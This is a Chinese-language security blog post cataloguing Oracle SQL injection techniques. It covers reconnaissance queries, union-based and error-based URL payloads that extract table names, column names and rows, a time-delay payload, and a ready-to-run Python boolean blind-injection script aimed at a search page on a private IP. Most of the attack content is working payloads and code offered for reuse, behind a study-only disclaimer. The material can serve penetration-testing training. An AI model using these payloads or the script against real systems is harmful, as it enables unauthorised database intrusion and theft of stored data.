Oracle注入姿势总结

admin 2024年5月8日13:50:26评论4 views字数 6546阅读21分49秒阅读模式

点击蓝字 关注我们

Oracle注入姿势总结

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

Oracle注入姿势总结

Oracle Database,又名 Oracle RDBMS,或简称 Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说 Oracle 数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

Oracle 信息收集

查询数据库版本信息

-- 无需特权
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
-- 需要特权
SELECT version FROM v$instance;

查询操作系统版本

SELECT banner FROM v$version where banner like 'TNS%';

查询数据库运行的主机名

-- 需要特权
SELECT UTL_INADDR.get_host_name FROM dual;
-- 需要特权
SELECT host_name FROM v$instance;
-- 需要特权
SELECT UTL_INADDR.get_host_name('127.0.0.1') FROM dual;

查询当前用户权限的所有数据库

SELECT DISTINCT owner,table_name FROM all_tables WHERE owner=user;

查询当前数据库名

-- 无需特权
SELECT global_name FROM global_name;
-- 无需特权
SELECT SYS.DATABASE_NAME FROM DUAL;
-- 需要特权
SELECT name FROM v$database;
-- 需要特权
SELECT instance_name FROM v$instance;

查询数据库所有用户

SELECT username FROM all_users ORDER BY username;

查询所有 DBA 用户

-- 需要特权
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';

查询当前数据库用户名

SELECT user FROM dual;

查询当前用户的系统权限

SELECT * FROM session_privs;

用户权限是执行特定类型的 SQL 语句或访问其他用户对象的权利,Oracle 中的权限可以分为系统权限和对象权限。前者是系统规定用户使用数据库的权限,后者是用户对其自己的表或视图的存取修改权限。

查询当前用户名的角色

SELECT * FROM session_privs;

角色相当于一个用户组,其将多个权限和角色组合在一起,以便可以同时向用户授予和撤销它们。必须先为用户启用角色,然后用户才能使用该角色。下表所示为 Oracle 系统常见的角色。

Oracle注入姿势总结

Oracle 注入

联合注入

方法与一般的 SQL 联合注入相同。值得注意的是,Oracle 联合注入一般不使用数字占位,而是 NULL,因为使用数字占位可能会发生错误。

判断数据库类型

-- 使用 Oracle 专有的函数判断是否为 Oracle 数据库
?ename=-1' or to_char(1)=1--+
?ename=-1' or to_number('2e0')=2--+

查询当前用户下的所有表名

?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name<>'BONUS'),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select table_name from user_tables where rownum=1 and table_name not in ('BONUS','DEPT','EMP')),NULL from dual--+

Oracle注入姿势总结

查询表中的字段名

?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select column_name from user_tab_columns where table_name='EMP' and rownum=1 and column_name not in ('EMPNO','ENAME','JOB','MGR','HIREDATE')),NULL from dual--+

查询表中具体的数据

?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename<>'SMITH'),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN','WARD')),NULL from dual--+
?ename=-1' union select NULL,NULL,(select ename from emp where rownum=1 and ename not in ('SMITH','ALLEN','WARD','JONES')),NULL from dual--+

报错注入

MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。前提是服务器允许返回报错信息。

Oracle 数据库的报错注入是通过某些函数报错前进行子查询,再通过错误页面回显查询结果。下面介绍几种常见的报错注入函数的示例。

ctxsys.drithsx.sn

?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~')--+
?ename=-1' or 1=ctxsys.drithsx.sn(1,chr(126)%7c%7c(select user from dual)%7c%7cchr(126))--+
?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from user_tables where rownum=1)%7c%7c'~')--+
?ename=-1' or 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from user_tables where rownum=1 and table_name<>'DEPT')%7c%7c'~')--+

XMLType

?ename=-1' or (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null--+

dbms_utility.sqlid_to_sqlhash

?ename=-1' or (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

ordsys.ord_dicom.getmappingxpath

?ename=-1' or (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+

dbms_xdb_version

dbms_xdb_version.checkin
?ename=-1' or (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
bms_xdb_version.makeversioned
?ename=-1' or (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+
dbms_xdb_version.uncheckout
?ename=-1' or (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null--+

utl_inaddr.*

在 Oracle 11g 之前不需要任何权限,在 11g 之后需要当前的数据库用户拥有网络访问权限,否则将被访问控制列表(ACL)拒绝。

utl_inaddr.get_host_name
?ename=-1' or 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+
utl_inaddr.get_host_address
?ename=-1' or 1=utl_inaddr.get_host_address('~'%7c%7c(select user from dual)%7c%7c'~') --+

布尔盲注

方法与一般的 SQL 布尔盲注相同,使用 ASCII 码逐个比较字符,将返回为 True 的结果输出即可

?ename=-1' or ascii(substr((select user from dual),1,1))>65--+

下面给出布尔盲注脚本:

import requests
import time

url = 'http://192.168.2.134:8080/search.jsp?ename='

cookies = { # 如果目标网站要事先登录,就加上cookies吧
"PHPSESSID": "c8ab8r49nd2kk0qfhs0dcaktl3"
}

flag = ''
for i in range(1, 90000):
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
payload = url + "-1' or ascii(substr((select user from dual),%d,1))>%d-- " % (i, mid)
res = requests.get(url=payload)

"""
data = {
"user_id": payload
}
res = requests.get(url=url, data=data)
"""

if 'SMITH' in res.text: # 为真时,即判断正确的时候的条件
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
flag = flag + chr(mid)
print(flag)

时间盲注

执行以下 Payload,页面将有 2s 的明显延时。

?ename=SMITH' and 1=(dbms_pipe.receive_message('RDS',2))--+

orcale数据库和mysql,sql server,mssql的区别

弱类型语言:mysql

强类型语言: orcale,mssql

orcale数据库

  1. 没有数据库的概念

  2. 不同的用户,权限不一样,查询的表不一样

sql server和mysql数据库的区别

函数的区别

db_name() 和 database()
current_user 和 user()
substring() 和 substr()
char(97) and ascii(97) ascii的转换
mysql中连接多列用 concat(); mssql中是 ‘a’+‘b’
mysql有聚合函数group_concat();mssql无聚合函数,要用到top 1 结合 not in top
mysql用读取一行用limit,mssql用top,orcale用where rownum=1
@@version and version()
mssql使用@@version查版本号,第一个字符是M
mysql使用version查版本号,第一个字符是数字
在mysql中 information.schama;在mssql中 master…sysdatabases 或 master.dbo.sysdatabases,其中dbo表示用户名

!感谢xhys121zero师傅投稿!

原文始发于微信公众号(SecHub网络安全社区):Oracle注入姿势总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月8日13:50:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Oracle注入姿势总结https://cn-sec.com/archives/2719381.html

发表评论

匿名网友 填写信息